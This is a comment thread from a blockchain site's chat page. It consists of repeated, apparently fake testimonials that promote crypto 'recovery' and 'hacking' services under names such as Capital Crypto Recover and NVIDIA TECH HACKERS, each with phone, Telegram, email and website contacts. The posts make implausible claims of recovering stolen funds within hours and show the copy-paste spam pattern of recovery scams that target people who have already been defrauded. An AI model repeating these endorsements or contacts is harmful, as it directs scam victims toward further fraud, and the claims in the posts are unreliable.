    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon